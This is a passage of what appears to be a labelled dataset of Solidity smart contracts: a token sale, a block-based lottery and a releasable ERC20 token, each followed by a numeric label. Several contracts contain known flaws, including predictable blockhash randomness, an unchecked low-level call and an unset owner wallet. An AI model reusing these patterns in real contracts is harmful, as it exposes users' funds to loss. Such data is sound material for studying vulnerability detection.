{
return mul(number, pow(10, decimals));
}
}
contract Apen is Token {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'A1.1';
uint256 public unitsPerEth;
uint256 public maxApenSell;
uint256 public totalEthPos;
address public ownerWallet;
function Apen() public {
decimals = 18;
totalSupply = withDecimals(21000000, decimals);
balances[msg.sender] = totalSupply;
maxApenSell = div(totalSupply, 2);
name = "Apen";
symbol = "APEN";
unitsPerEth = 1000;
}
function() public payable{
uint256 amount = mul(msg.value, unitsPerEth);
require(balances[ownerWallet] >= amount);
require(balances[ownerWallet] >= maxApenSell);
balances[ownerWallet] = sub(balances[ownerWallet], amount);
maxApenSell = sub(maxApenSell, amount);
balances[msg.sender] = add(balances[msg.sender], amount);
Transfer(ownerWallet, msg.sender, amount);
totalEthPos = add(totalEthPos, msg.value);
ownerWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 4,757 |
pragma solidity ^0.4.18;
contract Random {
uint public ticketsNum = 0;
mapping(uint => uint) internal tickets;
mapping(uint => bool) internal payed_back;
address[] public addr;
uint32 public random_num = 0;
uint public liveBlocksNumber = 5760;
uint public startBlockNumber = 0;
uint public endBlockNumber = 0;
uint public constant onePotWei = 10000000000000000;
address public inv_contract = 0x5192c55B1064D920C15dB125eF2E69a17558E65a;
address public rtm_contract = 0x7E08c0468CBe9F48d8A4D246095dEb8bC1EB2e7e;
address public mrk_contract = 0xc01c08B2b451328947bFb7Ba5ffA3af96Cfc3430;
address manager;
uint public winners_count = 0;
uint last_winner = 0;
uint public others_prize = 0;
uint public fee_balance = 0;
event Buy(address indexed sender, uint eth);
event Withdraw(address indexed sender, address to, uint eth);
event Transfer(address indexed from, address indexed to, uint value);
event TransferError(address indexed to, uint value);
modifier onlyManager() {
require(msg.sender == manager);
_;
}
function Random() public {
manager = msg.sender;
startBlockNumber = block.number - 1;
endBlockNumber = startBlockNumber + liveBlocksNumber;
}
function() public payable {
require(block.number < endBlockNumber || msg.value < 1000000000000000000);
if (msg.value > 0 && last_winner == 0) {
uint val = msg.value / onePotWei;
uint i = 0;
uint ix = checkAddress(msg.sender);
for(i; i < val; i++) { tickets[ticketsNum+i] = ix; }
ticketsNum += i;
Buy(msg.sender, msg.value);
}
if (block.number >= endBlockNumber) {
EndLottery();
}
}
function transfer(address _to, uint _ticketNum) public {
if (msg.sender == getAddress(tickets[_ticketNum]) && _to != address(0)) {
uint ix = checkAddress(_to);
tickets[_ticketNum] = ix;
Transfer(msg.sender, _to, _ticketNum);
}
}
function manager_withdraw() onlyManager public {
require(block.number >= endBlockNumber + liveBlocksNumber);
msg.sender.transfer(this.balance);
}
function EndLottery() public payable returns (bool success) {
require(block.number >= endBlockNumber);
uint tn = ticketsNum;
if(tn < 3) {
tn = 0;
if(msg.value > 0) { msg.sender.transfer(msg.value); }
startNewDraw(msg.value);
return false;
}
uint pf = prizeFund();
uint jp1 = percent(pf, 10);
uint jp2 = percent(pf, 4);
uint jp3 = percent(pf, 1);
uint lastbet_prize = onePotWei*10;
if(last_winner == 0) {
winners_count = percent(tn, 4) + 3;
uint prizes = jp1 + jp2 + jp3 + lastbet_prize*2;
uint full_prizes = jp1 + jp2 + jp3 + (lastbet_prize * ( (winners_count+1)/10 ) );
if(winners_count < 10) {
if(prizes > pf) {
others_prize = 0;
} else {
others_prize = pf - prizes;
}
} else {
if(full_prizes > pf) {
others_prize = 0;
} else {
others_prize = pf - full_prizes;
}
}
sendEth(getAddress(tickets[getWinningNumber(1)]), jp1);
sendEth(getAddress(tickets[getWinningNumber(2)]), jp2);
sendEth(getAddress(tickets[getWinningNumber(3)]), jp3);
last_winner += 1;
sendEth(msg.sender, lastbet_prize + msg.value);
return true;
}
if(last_winner < winners_count + 1 && others_prize > 0) {
uint val = others_prize / winners_count;
uint i;
uint8 cnt = 0;
for(i = last_winner; i < winners_count + 1; i++) {
sendEth(getAddress(tickets[getWinningNumber(i+3)]), val);
cnt++;
if(cnt > 9) {
last_winner = i;
return true;
}
}
last_winner = i;
sendEth(msg.sender, lastbet_prize + msg.value);
return true;
} else {
startNewDraw(lastbet_prize + msg.value);
}
sendEth(msg.sender, lastbet_prize + msg.value);
return true;
}
function startNewDraw(uint _msg_value) internal {
ticketsNum = 0;
startBlockNumber = block.number - 1;
endBlockNumber = startBlockNumber + liveBlocksNumber;
random_num += 1;
winners_count = 0;
last_winner = 0;
fee_balance += (this.balance - _msg_value);
}
function payfee() public {
require(fee_balance > 0);
uint val = fee_balance;
inv_contract.transfer( percent(val, 20) );
rtm_contract.transfer( percent(val, 49) );
mrk_contract.transfer( percent(val, 30) );
fee_balance = 0;
}
function sendEth(address _to, uint _val) internal returns(bool) {
if(this.balance < _val) {
TransferError(_to, _val);
return false;
}
_to.transfer(_val);
Withdraw(address(this), _to, _val);
return true;
}
function getWinningNumber(uint _blockshift) internal constant returns (uint) {
return uint(block.blockhash(block.number - _blockshift)) % ticketsNum + 1;
}
function jackPotA() public view returns (uint) {
return percent(prizeFund(), 10);
}
function jackPotB() public view returns (uint) {
return percent(prizeFund(), 4);
}
function jackPotC() public view returns (uint) {
return percent(prizeFund(), 1);
}
function prizeFund() public view returns (uint) {
return ( (ticketsNum * onePotWei) / 100 ) * 90;
}
function percent(uint _val, uint8 _percent) public pure returns (uint) {
return ( _val / 100 ) * _percent;
}
function getTicketOwner(uint _num) public view returns (address) {
if(ticketsNum == 0) {
return 0;
}
return getAddress(tickets[_num]);
}
function getTicketsCount(address _addr) public view returns (uint) {
if(ticketsNum == 0) {
return 0;
}
uint num = 0;
for(uint i = 0; i < ticketsNum; i++) {
if(tickets[i] == readAddress(_addr)) {
num++;
}
}
return num;
}
function getTicketsAtAdress(address _address) public view returns(uint[]) {
uint[] memory result = new uint[](getTicketsCount(_address));
uint num = 0;
for(uint i = 0; i < ticketsNum; i++) {
if(getAddress(tickets[i]) == _address) {
result[num] = i;
num++;
}
}
return result;
}
function getLastWinner() public view returns(uint) {
return last_winner+1;
}
function setInvContract(address _addr) onlyManager public {
inv_contract = _addr;
}
function setRtmContract(address _addr) onlyManager public {
rtm_contract = _addr;
}
function setMrkContract(address _addr) onlyManager public {
mrk_contract = _addr;
}
function checkAddress(address _addr) public returns (uint addr_num)
{
for(uint i=0; i<addr.length; i++) {
if(addr[i] == _addr) {
return i;
}
}
return addr.push(_addr) - 1;
}
function readAddress(address _addr) public view returns (uint addr_num)
{
for(uint i=0; i<addr.length; i++) {
if(addr[i] == _addr) {
return i;
}
}
return 0;
}
function getAddress(uint _index) public view returns (address) {
return addr[_index];
}
function deposit() public payable {
require(msg.value > 0);
}
} | 0 | 859 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
uint256 public totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
contract Burnable is StandardToken {
using SafeMath for uint;
event Burn(address indexed from, uint value);
function burn(uint _value) public returns (bool success) {
require(_value > 0 && balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint _value) public returns (bool success) {
require(_from != 0x0 && _value > 0 && balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Burn(_from, _value);
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_to != 0x0);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(_to != 0x0);
return super.transferFrom(_from, _to, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MyToken is Burnable, Ownable {
string public constant name = "APS1 Token";
string public constant symbol = "APST1";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * 1 ether;
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
require(released || transferAgents[_sender]);
_;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
transferAgents[msg.sender] = true;
releaseAgent = msg.sender;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
releaseAgent = addr;
}
function release(bool releaseState) onlyReleaseAgent public {
released = releaseState;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
transferAgents[addr] = state;
}
function transfer(address _to, uint _value) public canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function burn(uint _value) public onlyOwner returns (bool success) {
return super.burn(_value);
}
function burnFrom(address _from, uint _value) public onlyOwner returns (bool success) {
return super.burnFrom(_from, _value);
}
} | 1 | 2,792 |